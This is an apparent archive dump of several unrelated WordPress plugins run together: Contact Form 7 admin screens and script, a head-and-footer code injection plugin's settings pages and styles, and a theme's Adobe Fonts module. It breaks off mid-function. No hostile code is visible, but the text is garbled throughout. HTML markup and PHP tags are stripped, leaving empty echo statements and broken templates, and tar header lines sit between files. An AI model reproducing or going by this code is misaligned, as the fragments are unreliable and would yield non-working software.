'contact-form-7' ), number_format_i18n( $count_errors ) ); $output .= sprintf( '
%s
', $error_notice ); } } return $output; } protected function handle_row_actions( $item, $column_name, $primary ) { if ( $column_name !== $primary ) { return ''; } $edit_link = add_query_arg( array( 'post' => absint( $item->id() ), 'action' => 'edit', ), menu_page_url( 'wpcf7', false ) ); $actions = array( 'edit' => wpcf7_link( $edit_link, __( 'Edit', 'contact-form-7' ) ), ); if ( current_user_can( 'wpcf7_edit_contact_form', $item->id() ) ) { $copy_link = add_query_arg( array( 'post' => absint( $item->id() ), 'action' => 'copy', ), menu_page_url( 'wpcf7', false ) ); $copy_link = wp_nonce_url( $copy_link, 'wpcf7-copy-contact-form_' . absint( $item->id() ) ); $actions = array_merge( $actions, array( 'copy' => wpcf7_link( $copy_link, __( 'Duplicate', 'contact-form-7' ) ), ) ); } return $this->row_actions( $actions ); } public function column_author( $item ) { $post = get_post( $item->id() ); if ( ! $post ) { return; } $author = get_userdata( $post->post_author ); if ( false === $author ) { return; } return esc_html( $author->display_name ); } public function column_shortcode( $item ) { $shortcodes = array( $item->shortcode() ); $output = ''; foreach ( $shortcodes as $shortcode ) { $output .= "\n" . ''; } return trim( $output ); } public function column_date( $item ) { $datetime = get_post_datetime( $item->id() ); if ( false === $datetime ) { return ''; } $t_time = sprintf( /* translators: 1: date, 2: time */ __( '%1$s at %2$s', 'contact-form-7' ), /* translators: date format, see https://www.php.net/date */ $datetime->format( __( 'Y/m/d', 'contact-form-7' ) ), /* translators: time format, see https://www.php.net/date */ $datetime->format( __( 'g:i a', 'contact-form-7' ) ) ); return $t_time; } } includes/js/index.js000064400000031114147207001670010437 0ustar00(()=>{"use strict";var e={n:t=>{var a=t&&t.__esModule?()=>t.default:()=>t;return e.d(a,{a}),a},d:(t,a)=>{for(var r in a)e.o(a,r)&&!e.o(t,r)&&Object.defineProperty(t,r,{enumerable:!0,get:a[r]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t)};const t=window.wp.i18n,a=e=>{e&&document.querySelector(`.contact-form-editor-panel#${e}`)&&(document.querySelector("#contact-form-editor")?.setAttribute("data-active-tab",e),document.querySelectorAll('input[name="active-tab"]').forEach((t=>{t.value=e})),document.querySelectorAll("#contact-form-editor-tabs li").forEach((t=>{t.dataset?.panel===e?(t.classList.add("active"),t.setAttribute("tabindex","0"),t.focus()):(t.classList.remove("active"),t.setAttribute("tabindex","-1"))})),document.querySelectorAll(".contact-form-editor-panel").forEach((t=>{t.id===e?(t.classList.add("active"),t.style.setProperty("display","block")):(t.classList.remove("active"),t.style.setProperty("display","none"))})))},r=window.wp.apiFetch;var c=e.n(r);const o=e=>{const t=document.createElement("span");return t.classList.add("icon-in-circle"),t.setAttribute("aria-hidden","true"),t.append(e),t},n=e=>e.replace(/[^0-9a-z]+/gi,"-"),l=e=>{const t=document.querySelector(`#${e.dataset?.toggle}`);t&&(e.checked?t.classList.remove("hidden"):t.classList.add("hidden"))},i=()=>{document.querySelectorAll("#contact-form-editor .config-error, #misc-publishing-actions .config-error").forEach((e=>{e.remove()})),document.querySelectorAll("#contact-form-editor [data-config-field]").forEach((e=>{const t=e.dataset.configField;d(t).length?(e.setAttribute("aria-invalid","true"),e.setAttribute("aria-describedby",n(`wpcf7-config-error-for-${t}`)),e.after(u(t))):e.removeAttribute("aria-invalid")})),document.querySelectorAll("#contact-form-editor-tabs [data-panel]").forEach((e=>{e.querySelectorAll(".icon-in-circle").forEach((e=>{e.remove()})),s(e.dataset.panel)&&e.querySelector("a")?.append(o("!"))}));let e=0;if(document.querySelectorAll("#contact-form-editor .contact-form-editor-panel").forEach((a=>{const r=s(a.id);if(r){e+=r;const c=document.createElement("div");c.classList.add("config-error"),c.append(o("!"),(0,t.sprintf)((0,t._n)("%d configuration error detected in this tab panel.","%d configuration errors detected in this tab panel.",r,"contact-form-7"),r)),a.prepend(c)}})),e){const a=document.createElement("div");a.classList.add("misc-pub-section","config-error");const r=document.createElement("a");r.setAttribute("href",wpcf7.configValidator.docUrl),r.append((0,t.__)("How to resolve?","contact-form-7")),a.append(o("!"),(0,t.sprintf)((0,t._n)("%d configuration error detected.","%d configuration errors detected.",e,"contact-form-7"),e),document.createElement("br"),r),document.querySelector("#misc-publishing-actions")?.append(a)}},s=e=>document.querySelectorAll(`#${e} ul.config-error li`)?.length,d=e=>{const t=[];for(const a in wpcf7.configValidator.errors)a===e&&t.push(...wpcf7.configValidator.errors[a]);return t},u=e=>{if(!e)return"";const t=document.createElement("ul");return t.setAttribute("id",n(`wpcf7-config-error-for-${e}`)),t.classList.add("config-error"),d(e).forEach((e=>{if(!e.message)return;const a=document.createElement("li");if(a.append(o("!")),e.link){const t=document.createElement("a");t.setAttribute("href",e.link),t.append(e.message),a.append(" ",t)}else a.append(" ",e.message);t.append(a)})),t},m=document.querySelector("#wpcf7-welcome-panel"),p=e=>{const t=m.querySelector("#welcomepanelnonce")?.value;if(!t)return;const a=new FormData;a.append("action","wpcf7-update-welcome-panel"),a.append("visible",e),a.append("welcomepanelnonce",t),fetch(new Request(ajaxurl,{method:"POST",body:a})),e?m.classList.remove("hidden"):m.classList.add("hidden")},f=e=>{var t;const a=e.dataset.id,r=e.querySelector('[name="name"]');let c=null!==(t=r?.value.trim())&&void 0!==t?t:"";r&&(c||(c=`${a}-${Math.floor(1e3*Math.random())}`),r.value=c),e.querySelectorAll(".tag").forEach((t=>{const a=e.querySelector('[name="tagtype"]')?.value||t.name;a&&(t.value=v(a,e))})),e.querySelectorAll("span.mail-tag").forEach((e=>{e.innerText=`[${c}]`})),e.querySelectorAll("input.mail-tag").forEach((e=>{e.value=`[${c}]`}))},v=(e,t)=>{var a,r,c;const o=null!==(a=t.querySelector(`.scope.${e}`))&&void 0!==a?a:t,n=e+(t.querySelector('[name="required"]:checked')?"*":""),l=null!==(r=t.querySelector('[name="name"]')?.value)&&void 0!==r?r:"",i=[];o.querySelectorAll(".option").forEach((e=>{"checkbox"===e.type?e.checked&&i.push(e.name):"radio"===e.type?e.checked&&!e.classList.contains("default")&&i.push(`${e.name}:${e.value}`):""!==e.value&&(e.classList.contains("filetype")?i.push(`${e.name}:${e.value.split(/[,|\s]+/).join("|")}`):e.classList.contains("color")?i.push(`${e.name}:#${e.value}`):"class"===e.name?e.value.split(" ").forEach((e=>{i.push(`class:${e}`)})):i.push(`${e.name}:${e.value}`))})),"radio"===e&&i.push("default:1");const s=null!==(c=o.querySelector('[name="values"]')?.value.split("\n").map((e=>e.trim())).filter((e=>""!==e)).map((e=>`"${e.replace(/["]/g,""")}"`)))&&void 0!==c?c:[],d=[n,l,i.join(" "),s.join(" ")].map((e=>e.trim())).filter((e=>""!==e)),u=o.querySelector('[name="content"]')?.value.trim();return u?`[${d.join(" ")}] ${u} [/${n}]`:`[${d.join(" ")}]`},g=e=>{const t=h(e);t?(e.querySelectorAll('[data-tag-part="tag"]').forEach((e=>{e.value=t})),e.querySelectorAll('[data-taggen="insert-tag"]').forEach((e=>{e.disabled=!1})),e.querySelectorAll('[data-tag-part="mail-tag"]').forEach((t=>{const a=e.querySelector('[data-tag-part="name"]');a&&(t.innerText=`[${a.value.trim()}]`)}))):(e.querySelectorAll('[data-tag-part="tag"]').forEach((e=>{e.value=""})),e.querySelectorAll('[data-taggen="insert-tag"]').forEach((e=>{e.disabled=!0})))},h=e=>{var t,a;const r=e.querySelector('[data-tag-part="basetype"]')?.value.trim();if(!r)return;if(e.querySelector(":invalid"))return;let c=r;const o=e.querySelector('[data-tag-part="type-suffix"]');o&&(["checkbox","radio"].includes(o?.type)?c+=o.checked?o.value.trim():"":c+=o.value.trim());const n=e.querySelector('[data-tag-part="name"]');let l=null!==(t=n?.value.trim())&&void 0!==t?t:"";n&&(l||(l=`${r}-${Math.floor(1e3*Math.random())}`),n.value=l);const i=[];e.querySelectorAll('[data-tag-part="option"]').forEach((e=>{const t=e.dataset.tagOption?.trim();t&&(["checkbox","radio"].includes(e?.type)&&!e.checked||t.split(" ").forEach((t=>{t.endsWith(":")?e.value?.split(" ").forEach((e=>{(e=e.trim())&&i.push(t+e)})):i.push(t)})))}));const s=null!==(a=e.querySelector('[data-tag-part="value"]')?.value.split("\n").map((e=>e.trim())).filter((e=>""!==e)).map((e=>`"${e.replace(/["]/g,""")}"`)))&&void 0!==a?a:[],d=[c,l,i.join(" "),s.join(" ")].map((e=>e.trim())).filter((e=>""!==e)),u=e.querySelector('[data-tag-part="content"]')?.value.trim();return u?`[${d.join(" ")}] ${u} [/${c}]`:`[${d.join(" ")}]`},y=e=>{const t=document.querySelector("#wpcf7-admin-form-element");if(!t)return;let a=!1;t.querySelectorAll("input, textarea, select").forEach((e=>{if(!a)switch(e.type){case"button":case"hidden":case"image":case"reset":case"search":case"submit":break;case"checkbox":case"radio":a=e.defaultChecked!==e.checked;break;case"select-multiple":case"select-one":e.querySelectorAll("option").forEach((e=>{a||e.defaultSelected===e.selected||(a=!0)}));break;default:a=e.defaultValue!==e.value}})),a&&e.preventDefault()};document.addEventListener("DOMContentLoaded",(e=>{document.querySelectorAll("#contact-form-editor-tabs li").forEach((e=>{e.addEventListener("click",(t=>{a(e.dataset?.panel),t.preventDefault()})),e.addEventListener("keyup",(t=>{if(["ArrowDown","ArrowRight"].includes(t.key)){const t=e.nextElementSibling;t&&a(t.dataset?.panel)}if(["ArrowUp","ArrowLeft"].includes(t.key)){const t=e.previousElementSibling;t&&a(t.dataset?.panel)}}))})),document.querySelectorAll(".contact-form-editor-panel").forEach((e=>{e.classList.contains("active")?document.querySelector("#contact-form-editor")?.setAttribute("data-active-tab",e.id):e.style.setProperty("display","none")})),document.querySelectorAll("#contact-form-editor [data-config-field]").forEach((e=>{e.addEventListener("change",(e=>{const t=document.querySelector('[name="post_ID"]')?.value;t&&0{const{namespace:t}=wpcf7.apiSettings,a=`/${t}/contact-forms/${e}`,r=new FormData;document.querySelectorAll("#contact-form-editor [data-config-field]").forEach((e=>{const t=e.name?.replace(/^wpcf7-/,"").replace(/-/g,"_");if(!t)return;let a;["checkbox","radio"].includes(e.type)?e.checked&&(a=e.value):a=e.value,void 0!==a&&(t.endsWith("[]")?r.append(t,a):r.set(t,a))})),r.set("context","dry-run"),c()({path:a,method:"POST",body:r}).then((e=>{wpcf7.configValidator.errors=e.config_errors,i()}))})(t)}))})),i(),(()=>{if(!m)return;const e=document.querySelector("#wpcf7-welcome-panel-show");m.querySelectorAll(".welcome-panel-close").forEach((t=>{t.addEventListener("click",(t=>{p(0),e?.removeAttribute("checked"),t.preventDefault()}))})),e?.addEventListener("click",(t=>{p(e?.checked?1:0)}))})(),document.querySelectorAll('[data-taggen="open-dialog"]').forEach((e=>{e.addEventListener("click",(t=>{const a=document.querySelector(`#${e.dataset.target}`);if(a){const e=a.querySelector("form.tag-generator-panel");e&&("1"===e.dataset.version?(e=>{f(e),e.querySelectorAll(".control-box").forEach((t=>{t.addEventListener("change",(t=>{var a;"name"===(a=t.target).name&&(a.value=a.value.replace(/[^0-9a-zA-Z:._-]/g,"").replace(/^[^a-zA-Z]+/,"")),a.classList.contains("numeric")&&(a.value=a.value.replace(/[^0-9.-]/g,"")),a.classList.contains("idvalue")&&(a.value=a.value.replace(/[^-0-9a-zA-Z_]/g,"")),a.classList.contains("classvalue")&&(a.value=a.value.split(" ").map((e=>e.replace(/[^-0-9a-zA-Z_]/g,""))).join(" ").replace(/\s+/g," ").trim()),a.classList.contains("color")&&(a.value=a.value.replace(/[^0-9a-fA-F]/g,"")),a.classList.contains("filesize")&&(a.value=a.value.replace(/[^0-9kKmMbB]/g,"")),a.classList.contains("filetype")&&(a.value=a.value.replace(/[^0-9a-zA-Z.,|\s]/g,"")),a.classList.contains("date")&&(a.value.match(/^\d{4}-\d{2}-\d{2}$/)||(a.value="")),"values"===a.name&&(a.value=a.value.trim()),f(e)}))}))})(e):"2"===e.dataset.version&&(e=>{var t;null!==(t=e.reset())&&void 0!==t||g(e),e.querySelectorAll(".control-box").forEach((t=>{t.addEventListener("change",(t=>{g(e)})),t.addEventListener("keyup",(t=>{var a;"text"!==(null!==(a=t.target.type)&&void 0!==a?a:"")&&"textarea"!==t.target.tagName?.toLowerCase()||g(e)}))}))})(e)),a.showModal()}}))})),document.querySelectorAll("dialog.tag-generator-dialog").forEach((e=>{e.querySelectorAll('[data-taggen="close-dialog"]').forEach((t=>{t.addEventListener("click",(t=>e.close("")))})),e.querySelectorAll('[data-taggen="insert-tag"], .insert-tag').forEach((t=>{t.addEventListener("click",(t=>{const a=e.querySelector('[data-tag-part="tag"], .tag');e.close(a?.value)}))})),e.addEventListener("close",(t=>{var a;const r=document.querySelector("textarea#wpcf7-form");if(null===r)return;if(""===e.returnValue)return;const c=null!==(a=r.selectionEnd)&&void 0!==a?a:0;0===c&&(e.returnValue+="\n\n"),r.value=r.value.substring(0,c)+e.returnValue+r.value.substring(c),r.selectionStart=c,r.selectionEnd=c+e.returnValue.length,r.focus()}))})),(()=>{const e=document.querySelector("#wpcf7-admin-form-element");e&&(window.addEventListener("beforeunload",y),e.addEventListener("submit",(e=>{e.submitter?.name&&"wpcf7-copy"===e.submitter.name||window.removeEventListener("beforeunload",y)})))})();const r=document.querySelector("input#title");r&&""===r.value&&r.focus(),document.querySelector("#wpcf7-admin-form-element")?.addEventListener("submit",(e=>{const a=document.querySelector('#wpcf7-admin-form-element [name="action"]'),r=document.querySelector('#wpcf7-admin-form-element [name="_wpnonce"]');"wpcf7-save"===e.submitter?.name&&(a&&(a.value="save"),r&&(r.value=wpcf7.nonce.save),document.querySelectorAll("#wpcf7-admin-form-element #publishing-action .spinner").forEach((e=>{e.classList.add("is-active")}))),"wpcf7-copy"===e.submitter?.name&&(a&&(a.value="copy"),r&&(r.value=wpcf7.nonce.copy)),"wpcf7-delete"===e.submitter?.name&&(window.confirm((0,t.__)("You are about to delete this contact form.\n 'Cancel' to stop, 'OK' to delete.","contact-form-7"))?(a&&(a.value="delete"),r&&(r.value=wpcf7.nonce.delete)):e.preventDefault())})),document.querySelectorAll(".contact-form-editor-box-mail span.mailtag").forEach((e=>{e.addEventListener("click",(t=>{const a=document.createRange();a.selectNodeContents(e),window.getSelection().addRange(a)}))})),document.querySelectorAll("[data-toggle]").forEach((e=>{l(e),e.addEventListener("change",(t=>{l(e)}))})),document.querySelectorAll("#wpcf7-ctct-enable-contact-list, #wpcf7-sendinblue-enable-contact-list, #wpcf7-sendinblue-enable-transactional-email").forEach((e=>{e.addEventListener("change",(t=>{e.checked?e.closest("tr").classList.remove("inactive"):e.closest("tr").classList.add("inactive")}))}))}))})();includes/js/index.asset.php000064400000000162147207001670011727 0ustar00 array( 'wp-api-fetch', 'wp-i18n', ), 'version' => WPCF7_VERSION, ); includes/config-validator.php000064400000006505147207001670012325 0ustar00 'validate' ), menu_page_url( 'wpcf7', false ) ), __( 'Validate Contact Form 7 Configuration', 'contact-form-7' ) ); $message = __( "Misconfiguration leads to mail delivery failure or other troubles. Validate your contact forms now.", 'contact-form-7' ); wp_admin_notice( sprintf( '%1$s » %2$s', esc_html( $message ), $link ), 'type=warning' ); } add_action( 'wpcf7_admin_load', 'wpcf7_load_bulk_validate_page', 10, 2 ); function wpcf7_load_bulk_validate_page( $page, $action ) { if ( 'wpcf7' != $page or 'validate' != $action or ! wpcf7_validate_configuration() or 'POST' != $_SERVER['REQUEST_METHOD'] ) { return; } check_admin_referer( 'wpcf7-bulk-validate' ); if ( ! current_user_can( 'wpcf7_edit_contact_forms' ) ) { wp_die( __( "You are not allowed to validate configuration.", 'contact-form-7' ) ); } $contact_forms = WPCF7_ContactForm::find(); $result = array( 'timestamp' => time(), 'version' => WPCF7_VERSION, 'count_valid' => 0, 'count_invalid' => 0, ); foreach ( $contact_forms as $contact_form ) { $config_validator = new WPCF7_ConfigValidator( $contact_form ); $config_validator->validate(); $config_validator->save(); if ( $config_validator->is_valid() ) { $result['count_valid'] += 1; } else { $result['count_invalid'] += 1; } } WPCF7::update_option( 'bulk_validate', $result ); $redirect_to = add_query_arg( array( 'message' => 'validated', ), menu_page_url( 'wpcf7', false ) ); wp_safe_redirect( $redirect_to ); exit(); } function wpcf7_admin_bulk_validate_page() { $contact_forms = WPCF7_ContactForm::find(); $count = WPCF7_ContactForm::count(); $submit_text = sprintf( _n( /* translators: %s: number of contact forms */ "Validate %s contact form now", "Validate %s contact forms now", $count, 'contact-form-7' ), number_format_i18n( $count ) ); ?>

', wpcf7_format_atts( array( 'type' => 'submit', 'class' => 'button-primary', 'name' => 'wpcf7-save', 'value' => __( 'Save', 'contact-form-7' ), ) ) ); ?>
%1$s %2$s', esc_html( $post->initial() ? __( 'Add New Contact Form', 'contact-form-7' ) : __( 'Edit Contact Form', 'contact-form-7' ) ), ( $post->initial() || ! current_user_can( 'wpcf7_edit_contact_forms' ) ) ? '' : wpcf7_link( menu_page_url( 'wpcf7-new', false ), __( 'Add New', 'contact-form-7' ), array( 'class' => 'page-title-action' ) ) ); ?>
initial() ? 'wpcf7-new' : 'wpcf7', wpcf7_current_action(), $post ); do_action( 'wpcf7_admin_notices', $post->initial() ? 'wpcf7-new' : 'wpcf7', wpcf7_current_action(), $post ); if ( $post ) : echo sprintf( '
', wpcf7_format_atts( array( 'method' => 'post', 'action' => esc_url( add_query_arg( array( 'post' => $post_id ), menu_page_url( 'wpcf7', false ) ) ), 'id' => 'wpcf7-admin-form-element', 'disabled' => ! current_user_can( 'wpcf7_edit_contact_form', $post_id ), ) ) ); if ( current_user_can( 'wpcf7_edit_contact_form', $post_id ) ) { wp_nonce_field( 'wpcf7-save-contact-form_' . $post_id ); } ?>
', wpcf7_format_atts( array( 'type' => 'text', 'name' => 'post_title', 'value' => $post->initial() ? '' : $post->title(), 'id' => 'title', 'spellcheck' => 'true', 'autocomplete' => 'off', 'disabled' => ! current_user_can( 'wpcf7_edit_contact_form', $post_id ), 'placeholder' => __( 'Enter title here', 'contact-form-7' ), 'aria-label' => __( 'Enter title here', 'contact-form-7' ), ) ) ); ?>
initial() ) { if ( $shortcode = $post->shortcode() ) { echo sprintf( '

', esc_html( __( "Copy this shortcode and paste it into your post, page, or text widget content:", 'contact-form-7' ) ), wpcf7_format_atts( array( 'type' => 'text', 'id' => 'wpcf7-shortcode', 'onfocus' => 'this.select();', 'readonly' => true, 'class' => 'large-text code', 'value' => $shortcode, ) ) ); } if ( $shortcode = $post->shortcode( array( 'use_old_format' => true ) ) ) { echo sprintf( '

', esc_html( __( "You can also use this old-style shortcode:", 'contact-form-7' ) ), wpcf7_format_atts( array( 'type' => 'text', 'id' => 'wpcf7-shortcode-old', 'onfocus' => 'this.select();', 'readonly' => true, 'class' => 'large-text code', 'value' => $shortcode, ) ) ); } } ?>

initial() ) { echo sprintf( '', wpcf7_format_atts( array( 'type' => 'submit', 'name' => 'wpcf7-copy', 'class' => 'copy button', 'value' => __( 'Duplicate', 'contact-form-7' ), ) ) ); } ?>
initial() ) { echo sprintf( '
', wpcf7_format_atts( array( 'type' => 'submit', 'name' => 'wpcf7-delete', 'class' => 'delete submitdelete', 'value' => __( 'Delete', 'contact-form-7' ), ) ) ); } ?>

array( 'title' => __( 'Form', 'contact-form-7' ), 'callback' => 'wpcf7_editor_panel_form', ), 'mail-panel' => array( 'title' => __( 'Mail', 'contact-form-7' ), 'callback' => 'wpcf7_editor_panel_mail', ), 'messages-panel' => array( 'title' => __( 'Messages', 'contact-form-7' ), 'callback' => 'wpcf7_editor_panel_messages', ), ); $additional_settings = $post->prop( 'additional_settings' ); if ( ! is_scalar( $additional_settings ) ) { $additional_settings = ''; } $additional_settings = trim( $additional_settings ); $additional_settings = explode( "\n", $additional_settings ); $additional_settings = array_filter( $additional_settings ); $additional_settings = count( $additional_settings ); $panels['additional-settings-panel'] = array( 'title' => $additional_settings ? sprintf( /* translators: %d: number of additional settings */ __( 'Additional Settings (%d)', 'contact-form-7' ), $additional_settings ) : __( 'Additional Settings', 'contact-form-7' ), 'callback' => 'wpcf7_editor_panel_additional_settings', ); } $panels = apply_filters( 'wpcf7_editor_panels', $panels ); foreach ( $panels as $id => $panel ) { $editor->add_panel( $id, $panel['title'], $panel['callback'] ); } $editor->display(); ?>
%s

', $save_button ); } ?>

print_panels( $post ); do_action( 'wpcf7_admin_footer', $post ); admin.php000075500000005436147207001670006364 0ustar00 'php']); wp_enqueue_script('jquery-ui-tabs'); }); } add_action('add_meta_boxes', function () { add_meta_box('hefo', __('Head and Footer', 'header-footer'), 'hefo_meta_boxes_callback', ['post', 'page']); }); add_action('save_post', 'hefo_save_post'); function hefo_meta_boxes_callback($post) { // Use nonce for verification wp_nonce_field(plugin_basename(__FILE__), 'hefo'); // The actual fields for data entry // Use get_post_meta to retrieve an existing value from the database and use the value for the form $before = get_post_meta($post->ID, 'hefo_before', true); $after = get_post_meta($post->ID, 'hefo_after', true); echo ' '; echo '
'; echo ' '; } function hefo_save_post($post_id) { if (!isset($_POST['hefo'])) return; // First we need to check if the current user is authorised to do this action. if (isset($_POST['post_type']) && 'page' == $_POST['post_type']) { if (!current_user_can('edit_page', $post_id)) return; } else { if (!current_user_can('edit_post', $post_id)) return; } // Secondly we need to check if the user intended to change this value. if (!wp_verify_nonce($_POST['hefo'], plugin_basename(__FILE__))) return; update_post_meta($post_id, 'hefo_before', isset($_REQUEST['hefo_before']) ? 1 : 0); update_post_meta($post_id, 'hefo_after', isset($_REQUEST['hefo_after']) ? 1 : 0); }controls.php000075500000012522147207021410007123 0ustar00'; echo ''; echo esc_html($label); echo ''; } function hefo_field_checkbox_only($name, $tips = '', $attrs = '', $link = null) { global $options; echo ''; echo ' ' . $tips; if ($link) { echo '
Read more.'; } echo ''; } function hefo_field_checkbox_only2($name, $tips = '', $attrs = '', $link = null) { global $options; echo ''; echo ' ' . $tips; if ($link) { echo '
Read more.'; } echo ''; } function hefo_field_text($name, $label = '', $tips = '') { global $options; if (!isset($options[$name])) { $options[$name] = ''; } echo ''; echo ''; echo ''; echo '
' . $tips; echo ''; } function hefo_base_text($name) { global $options; if (!isset($options[$name])) { $options[$name] = ''; } echo ''; } function hefo_field_textarea($name, $label = '', $tips = '') { global $options; if (!isset($options[$name])) { $options[$name] = ''; } if (is_array($options[$name])) { $options[$name] = implode("\n", $options[$name]); } echo ''; echo ''; echo ''; echo '

' . esc_html($tips) . '

'; echo ''; } function hefo_base_textarea_cm($name, $type = '', $tips = '') { global $options; if (!empty($type)) { $type = '-' . $type; } if (!isset($options[$name])) { $options[$name] = ''; } if (is_array($options[$name])) { $options[$name] = implode("\n", $options[$name]); } echo ''; echo '

' . $tips . '

'; } function hefo_field_select($name, $items) { global $options; echo ''; } function hefo_rule($number) { global $options; if (!isset($options['inner_pos_' . $number])) { $options['inner_pos_' . $number] = 'after'; } if (!isset($options['inner_skip_' . $number])) { $options['inner_skip_' . $number] = 0; } if (!isset($options['inner_tag_' . $number])) { $options['inner_tag_' . $number] = ''; } echo '
'; echo '
Inject
'; echo ''; echo ''; echo '
skipping
'; echo ''; echo '
chars, on failure inject
'; echo ''; echo '
'; } admin.min.css000075500000002741147207021410007135 0ustar00.form-table,.form-table td,.form-table th,.form-table td p,.form-wrap label{font-size:12px}.form-table th{font-weight:bold;font-size:12px;text-align:right;border-right:1px solid #ddd}.form-table td{font-size:12px}h3{font-weight:bold;margin-bottom:0;padding:0;text-transform:uppercase}.form-table textarea,.ui-widget textarea{font-family:Consolas,Monaco,monospace}.notice{position:relative}.hefo-dismiss{position:absolute;top:0;right:10px;text-decoration:none;font-size:20px}.CodeMirror{border:1px solid #eee;height:200px}.row{margin-left:-10px;margin-right:-10px;box-sizing:border-box}.col-1{width:100%;min-width:350px;float:left;padding:10px;box-sizing:border-box}.col-2{width:50%;min-width:350px;float:left;padding:10px;box-sizing:border-box}.clearfix{float:none;clear:both;display:table;content:""}.hefo-cm{width:100%;height:100px;box-sizing:border-box}@media all and (max-width:1200px){.col-2{width:100%;box-sizing:border-box}}.rules{margin-top:15px}.rules select{height:27px;display:block;margin-right:10px}.rules input{height:27px;display:block;margin-right:10px}.rules div{margin-right:10px;padding-top:5px}.hf-index-entry{display:block;background-color:#aaa;color:white;text-decoration:none;width:150px;box-sizing:border-box;border:2px solid #aaa}.hf-index-entry:hover{border-color:#ddd}.col-2 label{font-size:12px;text-transform:uppercase;display:block}a.readmore{display:inline-block;background-color:#007cba;padding:3px 10px;color:#fff;text-decoration:none;border-radius:5px;line-height:normal}admin.css000075500000004003147207021410006344 0ustar00 .form-table, .form-table td, .form-table th, .form-table td p, .form-wrap label { font-size: 12px; } .form-table th { font-weight: bold; font-size: 12px; text-align: right; border-right: 1px solid #ddd; } .form-table td { font-size: 12px; } h3 { font-weight: bold; margin-bottom: 0; padding: 0; text-transform: uppercase; } .form-table textarea, .ui-widget textarea { font-family: Consolas,Monaco,monospace; } .notice { position: relative; } .hefo-dismiss { position: absolute; top: 0px; right: 10px; text-decoration: none; font-size: 20px; } .CodeMirror { border: 1px solid #eee; height: 200px; } .row { margin-left: -10px; margin-right: -10px; box-sizing: border-box; } .col-1 { width: 100%; min-width: 350px; float: left; padding: 10px; box-sizing: border-box; } .col-2 { width: 50%; min-width: 350px; float: left; padding: 10px; box-sizing: border-box; } .clearfix { float: none; clear: both; display: table; content: ""; } .hefo-cm { width: 100%; height: 100px; box-sizing: border-box; } @media all and (max-width: 1200px) { .col-2 { width: 100%; box-sizing: border-box; } } .rules { margin-top: 15px; } .rules select { height: 27px; display: block; margin-right: 10px; } .rules input { height: 27px; display: block; margin-right: 10px; } .rules div { margin-right: 10px; padding-top: 5px; } .hf-index-entry { display: block; background-color: #aaa; color: white; text-decoration: none; width: 150px; box-sizing: border-box; border: 2px solid #aaa; } .hf-index-entry:hover { border-color: #ddd; } .col-2 label { font-size: 12px; text-transform: uppercase; display: block; } a.readmore { display: inline-block; background-color: #007cba; padding: 3px 10px; color: #fff; text-decoration: none; border-radius: 5px; line-height: normal; }options.php000075500000055422147207021410006761 0ustar00

Head, Footer and Post Injections

I never asked before and I'm curious: would you rate this plugin? (takes only few seconds required - account on WordPress.org, every blog owner should have one...). Really appreciated, Stefano. ×

If you want to be informed of important updated of this plugin, you may want to subscribe to my (rare) newsletter

×

I'm developing a new plugin: Welcome Email for Contact Form 7 (and more). Available for direct donwload until I wait the approvation to publish on WP.org. ×

Did this plugin save you lot of time and troubles? To help children. Even 2$ help. Please read more. Thank you.
Are you profitably using this free plugin for your customers? One more reason to consider a donation. Thank you.

.

page section injection', 'header-footer') ?>

tag', 'header-footer') ?>

Generic injection

Inject before the marker

Please take the time to read this page to understand how the "mobile" configuration works. See the "advanced tab" to configure the mobile device detection.

true], 'objects', 'and'); ?> name === 'post' || $post_type->name === 'page' || $post_type->name === 'attachment') { continue; } ?>

label) ?>

name . '_mode', [''=>__('Use the post configuration', 'header-footer'), 'enabled'=>__('Enable injections below', 'header-footer'), 'disabled'=>__('Do not inject', 'header-footer')]); ?>

name . '_before'); ?>
name . '_after'); ?>

Inner post injection





You need the AMP plugin. Other AMP plugins could be supported in the near future.

page section', 'header-footer') ?>

tag', 'header-footer') ?>


PHP
' . 'preg_match(\'/' . $options['mobile_user_agents_parsed'] . '/\', ...);
' . 'Read this page for more.'); ?>

Head meta links

WordPress automatically add some meta link on the head of the page, for example the RSS links, the previous and next post links and so on. Here you can disable those links if not of interest.

Disable css link id
Disable css media
Extra feed links
Short link
WLW Manifest
RSD link
Adjacent post links

* if no mobile alternative is activated

fonts/template.php000064400000012102147207023670010225 0ustar00font_selection( $fonts ); ?>

here from your Typekit Account.', 'foxiz-core' ), '//fonts.adobe.com/my_fonts?browse_mode=all#web_projects-section' ); ?>

esc_html__( 'H1 Tag', 'foxiz-core' ), 'h2' => esc_html__( 'H2 Tag', 'foxiz-core' ), 'h3' => esc_html__( 'H3 Tag', 'foxiz-core' ), 'h4' => esc_html__( 'H4 Tag', 'foxiz-core' ), 'h5' => esc_html__( 'H5 Tag', 'foxiz-core' ), 'h6' => esc_html__( 'H6 Tag', 'foxiz-core' ), 'body' => esc_html__( 'Site Body', 'foxiz-core' ) ); foreach ( $elements as $element_id => $title ) : ?>

fonts/fonts.php000064400000004257147207023670007557 0ustar00page_title = esc_html__( 'Adobe Fonts', 'foxiz-core' ); $this->menu_title = esc_html__( 'Adobe Fonts', 'foxiz-core' ); $this->menu_slug = 'rb-adobe-fonts'; $this->capability = 'administrator'; $data = $this->get_data(); $data['button'] = esc_html__( 'Save Changes', 'foxiz-core' ); $data['delete'] = esc_html__( 'Delete Project', 'foxiz-core' ); $this->set_params( $data ); } public function get_data() { $data = get_option( 'rb_adobe_fonts', [] ); $data = wp_parse_args( $data, array( 'project_id' => '', 'fonts' => '' ) ); return $data; } public function get_slug() { return 'admin/fonts/template'; } public function get_name() { return false; } /** * @param array $fonts * * @return array */ public function font_selection( $fonts = array() ) { $options = array( '0' => esc_html__( '- Default -', 'foxiz-core' ) ); if ( is_array( $fonts ) ) { foreach ( $fonts as $name => $font ) { if ( ! isset( $font['family'] ) ) { continue; } if ( isset( $font['variations'] ) && is_array( $font['variations'] ) ) { foreach ( $font['variations'] as $variation ) { if ( substr( $variation, - 1 ) === 'i' ) { $label = $font['family'] . esc_html__( ' - Italic', 'foxiz-core' ) . ' ' . substr( $variation, 0, - 1 ); } else { $label = $font['family'] . esc_html__( ' - Normal', 'foxiz-core' ) . ' ' . $variation; } $options[ $name . '::' . $variation ] = $label; } } } } return $options; } } }fonts/init.php000064400000015271147207023670007367 0ustar00get_data( $project_id ); if ( ! empty( $fonts ) && is_array( $fonts ) ) { update_option( 'rb_adobe_fonts', array( 'project_id' => $project_id, 'fonts' => $fonts ) ); } } } } public function load_font() { $settings = get_option( 'rb_adobe_font_settings', array() ); $fonts = get_option( 'rb_adobe_fonts', array() ); if ( 